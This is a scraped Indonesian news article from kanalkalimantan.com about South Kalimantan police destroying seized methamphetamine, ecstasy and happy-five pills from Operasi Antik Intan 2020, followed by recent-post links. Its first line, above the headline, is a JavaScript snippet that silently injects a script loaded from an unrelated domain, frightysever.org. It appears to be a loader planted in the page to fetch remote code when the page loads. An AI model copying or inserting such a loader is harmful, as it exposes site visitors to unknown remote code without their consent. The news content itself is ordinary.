(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Ini Narkoba yang Dimusnahkan Polda Kalsel dari Operasi Antik Intan 2020


KANALKALIMANTAN.COM, BANJARMASIN – Selain mengungkap kasus peredaran narkoba jenis sabu jaringan internasional, Dit Resnarkoba Polda Kalsel juga memusnahkan barang haram sabu di Mapolda Kalsel di Banjarmasin, Rabu (11/3/2020). Barang bukti yang dimusnahkan sendiri seberat 4,9 Kg hasil pengungkapan dari Operasi Antik Intan 2020.

“Selain sabu-sabu sebanyak 4.944 gram, juga ada 67 butir ekstasi, serbuk ekstasi 1,87 gram, happy five 1.000 butir yang turut dimusnahkan kali ini,” kata  Direktur Resnarkoba Polda Kalsel Kombes Pol Iwan Eka Putra.

Baca juga: Polda Kalsel Amankan 22 Kg Sabu dari Tiga Tersangka, 1 Orang Masih DPO 

Dalam pemusnahan narkoba sendiri, dihadiri Gubernur Kalsel H Sahbirin Noor, Kapolda Kalsel Irjen Pol Yazid Fanani, Ketua DPRD Kalsel H Supian HK, Kejaksaan Tinggi Kalsel, Danrem 101 Antasari, Danlanud Sjamsudin Noor, Danlanal Banjarmasin, MUI dan undangan lainnya.

Sedikitnya 43 tersangka, terdiri dari 42 laki laki dan 1 perempuan yang dihadirkan menyaksikan barang haram yang mereka edarkan dimusnahkan.

“Untuk pengungkapan akhir-akhir ini memang cukup banyak narapidana yang terlibat peredaran narkotika dan bisa kami buktikan hingga meringkusnya di penjara, yaitu di Lapas Banjarmasin,” beber Kombes Iwan.

Baca juga: Ditawari Kerja di Travel, Yudi Malah Masuk Jaringan Narkoba Internasional

Kombes Iwan mengungkapkan, pemusnahan tersebut merupakan perintah undang-undang agar setiap barang bukti narkoba dimusnahkan segera dengan disisihkan 0,50 gram  untuk pembuktian di persidangan, yang mana jumlah barang bukti keseluruhan 5.565,66 gram atau 5,6 Kg.

“Tentunya, kita mencegah adanya penyalahgunaan dari barang bukti yang ada. Pemusnahan ini juga sebagai wujud komitmen dan ketegasan Polri dalam pemberantasan peredaran narkoba,” tandasnya. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

 


Al Ghifari

Recent Posts

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

7 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

12 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

12 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

1 hari ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

1 hari ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

1 hari ago

This website uses cookies.